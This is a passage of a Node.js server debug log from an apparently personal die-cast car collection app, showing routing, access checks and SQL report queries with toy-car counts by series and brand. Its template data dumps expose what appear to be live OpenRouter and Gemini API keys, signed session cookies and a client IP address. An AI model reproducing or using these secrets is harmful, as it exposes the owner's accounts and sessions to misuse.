  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-13T10:02:21.319Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-07-13T10:02:21.320Z server-connect:app Executing action step identify
2026-07-13T10:02:21.320Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:21.320Z server-connect:output identity: 1
2026-07-13T10:02:21.320Z server-connect:app Executing action step restrict
2026-07-13T10:02:21.320Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:21.321Z server-connect:output restrict: undefined
2026-07-13T10:02:21.321Z server-connect:app Executing action step custom
2026-07-13T10:02:21.322Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-07-13T10:02:21.323Z server-connect:output list: [
  { series: 195, name: 'Majorette Castheads Gift Set', total: 6 },
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-07-13T10:02:25.767Z server-connect:router Serving serverConnect /api/reports/diecast/by-vehicle-brand
2026-07-13T10:02:25.768Z server-connect:app Executing action step identify
2026-07-13T10:02:25.768Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:25.768Z server-connect:output identity: 1
2026-07-13T10:02:25.768Z server-connect:app Executing action step restrict
2026-07-13T10:02:25.768Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:25.768Z server-connect:output restrict: undefined
2026-07-13T10:02:25.769Z server-connect:app Executing action step custom
2026-07-13T10:02:25.769Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.vehicle_brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.vehicle_brand_id\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.vehicle_brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-07-13T10:02:25.770Z server-connect:output list: [
  { vehicle_brand_id: 142, name: 'Fantasy', total: 22 },
  { vehicle_brand_id: 108, name: 'Ford', total: 15 },
  { vehicle_brand_id: 130, name: 'Porsche', total: 9 },
  { vehicle_brand_id: 113, name: 'Mercedes', total: 8 },
  { vehicle_brand_id: 115, name: 'Lamborghini', total: 7 },
  { vehicle_brand_id: 116, name: 'Nissan', total: 6 },
  { vehicle_brand_id: 127, name: 'Dodge', total: 6 },
  { vehicle_brand_id: 118, name: 'Chevrolet', total: 6 },
  { vehicle_brand_id: 117, name: 'Land Rover', total: 4 },
  { vehicle_brand_id: 128, name: 'Alfa Romeo', total: 3 },
  { vehicle_brand_id: 112, name: 'Honda', total: 2 },
  { vehicle_brand_id: 122, name: 'Jeep', total: 2 },
  { vehicle_brand_id: 157, name: 'Masserti', total: 2 },
  { vehicle_brand_id: 133, name: 'Jaguar', total: 2 },
  { vehicle_brand_id: 109, name: 'Renault', total: 2 },
  { vehicle_brand_id: 140, name: 'GMC', total: 2 },
  { vehicle_brand_id: 137, name: 'Mazda', total: 2 },
  { vehicle_brand_id: 124, name: 'Ferrari', total: 2 },
  { vehicle_brand_id: 184, name: 'Lucid', total: 1 },
  { vehicle_brand_id: 185, name: 'Lotus', total: 1 },
  { vehicle_brand_id: 186, name: 'Datsun', total: 1 },
  { vehicle_brand_id: 183, name: 'Spider Man', total: 1 },
  { vehicle_brand_id: 129, name: 'Bugatti', total: 1 },
  { vehicle_brand_id: 190, name: 'Plymouth', total: 1 },
  { vehicle_brand_id: 189, name: 'RAM', total: 1 },
  { vehicle_brand_id: 119, name: 'Toyota', total: 1 },
  { vehicle_brand_id: 132, name: 'Audi', total: 1 },
  { vehicle_brand_id: 197, name: 'Lexus', total: 1 },
  { vehicle_brand_id: 152, name: 'Corvette ', total: 1 },
  { vehicle_brand_id: 121, name: 'Peugeot', total: 1 },
  { vehicle_brand_id: 169, name: 'Cadillac', total: 1 },
  { vehicle_brand_id: 168, name: 'Pagani', total: 1 },
  { vehicle_brand_id: 167, name: 'Mcmurtry', total: 1 },
  { vehicle_brand_id: 126, name: 'BMW', total: 1 },
  { vehicle_brand_id: 125, name: 'Bentley', total: 1 },
  { vehicle_brand_id: 123, name: 'Volvo', total: 1 },
  { vehicle_brand_id: 139, name: 'Formula', total: 1 },
  { vehicle_brand_id: 138, name: 'Gordon Murray', total: 1 },
  { vehicle_brand_id: 134, name: 'Pontiac', total: 1 },
  { vehicle_brand_id: 136, name: 'Austin', total: 1 },
  { vehicle_brand_id: 135, name: 'Czinger', total: 1 }
]
2026-07-13T10:02:27.867Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-07-13T10:02:27.868Z server-connect:app Executing action step identify
2026-07-13T10:02:27.868Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:27.868Z server-connect:output identity: 1
2026-07-13T10:02:27.868Z server-connect:app Executing action step restrict
2026-07-13T10:02:27.868Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:27.868Z server-connect:output restrict: undefined
2026-07-13T10:02:27.868Z server-connect:app Executing action step custom
2026-07-13T10:02:27.868Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-07-13T10:02:27.869Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 84 },
  { brand_id: 72, name: 'Majorette', total: 46 },
  { brand_id: 73, name: 'Matchbox', total: 32 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 191, name: 'Jams Toys', total: 2 },
  { brand_id: 74, name: 'Bburago', total: 1 }
]
2026-07-13T10:02:42.352Z server-connect:router Serving templateView /diecast-reports
2026-07-13T10:02:42.353Z server-connect:app Executing action step identify
2026-07-13T10:02:42.353Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:42.353Z server-connect:output identity: 1
2026-07-13T10:02:42.353Z server-connect:app Executing action step restrict
2026-07-13T10:02:42.353Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:02:42.353Z server-connect:output restrict: undefined
2026-07-13T10:02:42.354Z server-connect:router Render template layouts/main
2026-07-13T10:02:42.354Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-reports'
}
2026-07-13T10:02:45.096Z server-connect:router Serving templateView /diecast
2026-07-13T10:02:45.096Z server-connect:app Executing action step identify
2026-07-13T10:02:45.097Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:45.097Z server-connect:output identity: 1
2026-07-13T10:02:45.097Z server-connect:app Executing action step restrict
2026-07-13T10:02:45.097Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:02:45.098Z server-connect:output restrict: undefined
2026-07-13T10:02:45.098Z server-connect:router Render template diecast
2026-07-13T10:02:45.098Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"5d0a-CBXcLyWEooLhls3HnNMXzj8rZUQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"5d0a-CBXcLyWEooLhls3HnNMXzj8rZUQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-13T10:02:45.344Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:45.347Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:45.348Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:45.348Z server-connect:app Executing action step identify
2026-07-13T10:02:45.348Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:45.348Z server-connect:output identity: 1
2026-07-13T10:02:45.348Z server-connect:app Executing action step restrict
2026-07-13T10:02:45.348Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:45.349Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-13T10:02:45.350Z server-connect:output restrict: undefined
2026-07-13T10:02:45.350Z server-connect:app Executing action step select
2026-07-13T10:02:45.350Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:45.350Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-13T10:02:45.351Z server-connect:app Executing action step identify
2026-07-13T10:02:45.351Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:45.351Z server-connect:output identity: 1
2026-07-13T10:02:45.351Z server-connect:app Executing action step restrict
2026-07-13T10:02:45.351Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:45.352Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
